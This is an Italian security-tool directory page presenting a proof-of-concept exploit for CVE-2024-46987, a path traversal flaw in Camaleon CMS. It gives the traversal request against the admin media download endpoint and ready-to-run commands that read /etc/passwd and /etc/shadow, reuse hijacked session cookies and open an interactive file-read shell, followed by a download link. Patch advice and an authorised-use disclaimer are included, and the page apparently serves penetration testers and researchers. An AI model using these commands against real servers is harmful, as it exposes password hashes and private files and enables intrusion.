Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-46987 — PoC exploit per CVE-2024-46987 — Camaleon CMS: attraversamento arbitrario del percorso (lettura di file) | Kitploit
Strumenti/GitHubGitHub/blueberryp1ll/cve-2024-46987
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration TestingApprendimento e Formazione
GitHubblueberryp1ll/cve-2024-46987

CVE-2024-46987

PoC exploit per CVE-2024-46987 — Camaleon CMS: attraversamento arbitrario del percorso (lettura di file)

Vedi Repository
17 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-46987 — Camaleon CMS Path Traversal Arbitrario

Solo per valutazioni di sicurezza autorizzate, test di penetrazione e ricerca educativa.

Panoramica

CampoDettaglio
CVECVE-2024-46987
ProdottoCamaleon CMS
Versioni>= 2.8.0, < 2.8.2 (confermato anche su 2.9.0)
TipoPath Traversal / Lettura Arbitraria di File (CWE-22)
AutenticazioneRichiesta (qualsiasi account con privilegi bassi)
CVSS7.7 Alta — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Corretto in2.8.2

Vulnerabilità

MediaController#download_private_file passa params[:file] non sanitizzato a fetch_file:

# Vulnerable sink
fetch_file("private/#{params[:file]}")

Non viene applicata alcuna normalizzazione del percorso prima che il valore venga utilizzato con send_file, consentendo a un attaccante autenticato di uscire dalla directory private/ utilizzando sequenze ../ e leggere file arbitrari a cui il processo Rails ha il permesso di accedere.

Endpoint vulnerabile:

GET /admin/media/download_private_file?file=../../../../../../etc/passwd

Requisiti

  • Python 3.8+
  • Libreria requests
pip3 install requests

Utilizzo

usage: CVE-2024-46987.py [-h] -u URL (--cookie COOKIE | -U USERNAME)
                         [-P PASSWORD] [-f FILE] [-d DEPTH]
                         [--interesting] [--interactive]
                         [--no-verify] [--debug]

Autenticazione basata su credenziali

# Read /etc/passwd (default)
python3 CVE-2024-46987.py -u http://target.com -U admin -P password

# Read a specific file
python3 CVE-2024-46987.py -u http://target.com -U admin -P password -f /etc/shadow

# Scan a list of high-value paths automatically
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interesting

# Interactive file-read shell
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interactive

Riutilizzo di una sessione esistente (da Burp Suite / browser DevTools)

# Single file
python3 CVE-2024-46987.py -u http://target.com \
  --cookie "_app_session=XXXX" -f /etc/passwd

# Interactive shell
python3 CVE-2024-46987.py -u http://target.com \
  --cookie "_app_session=XXXX; auth_token=YYYY" --interactive

Opzioni

FlagDescrizione
-uURL di base del target
-U / -PNome utente e password CMS
--cookieStringa di cookie grezza (alternativa alle credenziali)
-fPercorso del file da leggere (predefinito: /etc/passwd)
-dProfondità di attraversamento — numero di ../ anteposti (predefinito: 10)
--interestingItera su una lista predefinita di percorsi di alto valore
--interactiveShell interattiva per la lettura di file
--no-verifyDisabilita la verifica del certificato TLS
--debugOutput verboso per diagnosticare errori di autenticazione

Note sui pseudo-file /proc

I file sotto /proc/self/ (ad es. environ, cmdline) restituiscono HTTP 200 ma un corpo vuoto. Questo è previsto — il kernel riporta la loro dimensione come 0, quindi send_file di Rails non trasmette nulla. Utilizza invece file regolari.

Mitigazione

Aggiorna Camaleon CMS alla versione 2.8.2 o successiva. La patch aggiunge una corretta normalizzazione del percorso e garantisce che il percorso risolto rimanga all'interno della directory prevista prima di chiamare send_file.

In alternativa:

  • Normalizza tutti i percorsi file forniti dall'utente prima dell'uso.
  • Rifiuta qualsiasi input contenente sequenze ...
  • Applica il principio del minimo privilegio all'utente del sistema operativo che esegue il processo Rails.

Riferimenti

  • GHSA-cp65-5m9r-vc2c — Avviso GitHub
  • GHSL-2024-183 — GitHub Security Lab
  • NVD — CVE-2024-46987

Dichiarazione di non responsabilità

Questo proof-of-concept è pubblicato a scopo educativo e per assistere i professionisti della sicurezza nella comprensione e riproduzione della vulnerabilità in ambienti di test autorizzati. L'autore non è responsabile per qualsiasi uso improprio. Ottieni sempre un'autorizzazione esplicita scritta prima di testare sistemi che non possiedi.

Scarica lo strumento